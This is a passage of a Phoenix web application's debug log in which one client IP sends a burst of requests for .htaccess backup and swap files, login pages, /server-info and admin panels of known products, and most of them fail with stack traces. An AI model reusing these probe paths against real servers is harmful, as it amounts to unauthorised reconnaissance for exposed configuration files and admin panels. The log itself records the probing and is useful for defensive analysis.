    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:23.452000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41934] GET /.htaccess.tmp
[Thu Sep  3 08:25:23.471000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41934] ** (Phoenix.Router.NoRouteError) no route found for GET /.htaccess.tmp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:24.141000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41940] GET /..htaccess.swp
[Thu Sep  3 08:25:24.156000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41940] ** (Phoenix.Router.NoRouteError) no route found for GET /..htaccess.swp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:24.884000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41948] GET /.htaccess.1
[Thu Sep  3 08:25:24.911000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41948] ** (Phoenix.Router.NoRouteError) no route found for GET /.htaccess.1 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:25.635000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41962] GET /.htaccess.~1~
[Thu Sep  3 08:25:25.664000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41962] ** (Phoenix.Router.NoRouteError) no route found for GET /.htaccess.~1~ (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:25.905000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41976] GET /web/
[Thu Sep  3 08:25:25.919000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41976] ** (Phoenix.Router.NoRouteError) no route found for GET /web (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:29.238000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41984] GET /platform-ui/
[Thu Sep  3 08:25:29.267000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41984] ** (Phoenix.Router.NoRouteError) no route found for GET /platform-ui (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:35.076000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60010] GET /management/
[Thu Sep  3 08:25:35.098000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60010] ** (Phoenix.Router.NoRouteError) no route found for GET /management (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:35.542000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60016] GET /arcgis/rest/info
[Thu Sep  3 08:25:35.571000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60016] ** (Phoenix.Router.NoRouteError) no route found for GET /arcgis/rest/info (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:38.630000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60032] GET /
[Thu Sep  3 08:25:38.631000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:60032] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:25:38.632000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60032] Sent 200 in 1ms
[Thu Sep  3 08:25:41.715000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60044] GET /index.html
[Thu Sep  3 08:25:41.732000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60044] ** (Phoenix.Router.NoRouteError) no route found for GET /index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:42.226000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60046] GET /server-info
[Thu Sep  3 08:25:42.247000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60046] ** (Phoenix.Router.NoRouteError) no route found for GET /server-info (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:44.734000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52656] GET /login/
[Thu Sep  3 08:25:44.756000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52656] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:52.698000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52674] GET /login.php
[Thu Sep  3 08:25:52.733000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52674] ** (Phoenix.Router.NoRouteError) no route found for GET /login.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:25:52.979000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52668] GET /
[Thu Sep  3 08:25:52.979000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:52668] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:25:52.980000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52668] Sent 200 in 1ms
[Thu Sep  3 08:25:56.739000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:40272] GET /
[Thu Sep  3 08:25:56.739000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:40272] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:25:56.741000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:40272] Sent 200 in 1ms
[Thu Sep  3 08:25:58.073000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:40288] GET /
[Thu Sep  3 08:25:58.073000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:40288] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:25:58.074000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:40288] Sent 200 in 811µs
[Thu Sep  3 08:26:02.042000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:40290] GET /roller-ui/login.rol
[Thu Sep  3 08:26:02.137000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:40290] ** (Phoenix.Router.NoRouteError) no route found for GET /roller-ui/login.rol (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:26:05.797000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46516] GET /pluto/portal/
[Thu Sep  3 08:26:05.830000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46516] ** (Phoenix.Router.NoRouteError) no route found for GET /pluto/portal (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:26:06.582000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46522] GET /
[Thu Sep  3 08:26:06.583000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:46522] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:26:06.584000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46522] Sent 200 in 1ms
[Thu Sep  3 08:26:10.331000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46528] GET /nifi/
[Thu Sep  3 08:26:10.349000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46528] ** (Phoenix.Router.NoRouteError) no route found for GET /nifi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
